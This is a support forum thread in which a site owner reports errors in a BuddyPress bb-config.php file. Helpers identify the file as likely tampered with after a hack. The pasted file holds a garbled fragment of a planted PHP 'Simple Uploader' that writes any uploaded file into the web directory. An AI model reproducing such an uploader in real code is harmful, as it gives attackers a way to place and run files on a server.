Skip to:

Sudden BBconfig issues

  • Stacy (non coder)


    Suddenly I cannot access my forums and am getting this error :
    Warning: Unexpected character in input: ” (ASCII=92) state=1 in /home//bb-config.php on line 5

    Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE, expecting T_STRING or T_VARIABLE or T_NUM_STRING in /home/bb-config.php on line 17

    I’ve deactivated all plugins on the main blog. This has the buddypress integration.
    The last tampering before I noticed this was a single size change for a widget block in the themes stylesheet but the problem persists with switching themes. It cuts the homepage to half size as well without a scroll.

    This is the bb-config:

    `title> Simple Uploader

    Simple uploader

    <form enctype=îmultipart/form-dataî action=îî method=îpostî>

    File :

    if (@is_uploaded_file($_FILES[“userfile”][“tmp_name”])) {
    copy($_FILES[“userfile”][“tmp_name”], ìî . $_FILES[“userfile”][“name”]);
    echo ì

    File uploaded successfully


    It’s been working properly for months with my new theme, any suggestions?
    I don’t have any extra forum related plugin

Viewing 4 replies - 1 through 4 (of 4 total)
  • That should *not* be in your bb-config.php. If you haven’t edited or overwritten that file, it’s possible your site has been hacked, so I’d check that aspect out first.

    Once you’ve cleared any problems with that, try deleting your bb-config.php, then go back to the BuddyPress ‘Forums Setup’ in wp-admin and tell it ‘reinstall’ the forum config.

    Stacy (non coder)


    I was hacked last week and the current setup is from a restored back up that my host had. However some parts like the hackers user account was still there and a few things were strangely still readjusting all week. The forums were working after I cleared things up but going back to the BuddyPress ‘Forums Setup’ in wp-admin and reinstalling the forum config has worked. Thanks.

    This resetting has happened to me before about a month ago with bp pages , they were suddenly unavailable and I had to reset them. Is there another cause for this perhaps to do with the new bp component setup? When I was hacked my host said that there was a compromise in a function in the code. BP upgrade was the only major change and now settings have turned off twice.

    If the pages loose their mapping, something’s been deleted or corrupted in the database. It could be a bug in BP (unlikely as I’ve not heard of anything similar), but I would guess more likely to been corrupted in the database or removed (accidentally or otherwise).

    If your “backup” is still the hacked version, I hope you found how they got in. If you haven’t, you’re basically still hacked.

    If your host thinks they have found a vulnerability in BP, please don’t discuss that aspect here, and send details to asap.

    Stacy (non coder)


    Thank you. Now I just need to confirm what the permission should be for bb_config.

Viewing 4 replies - 1 through 4 (of 4 total)
  • The topic ‘Sudden BBconfig issues’ is closed to new replies.
Skip to toolbar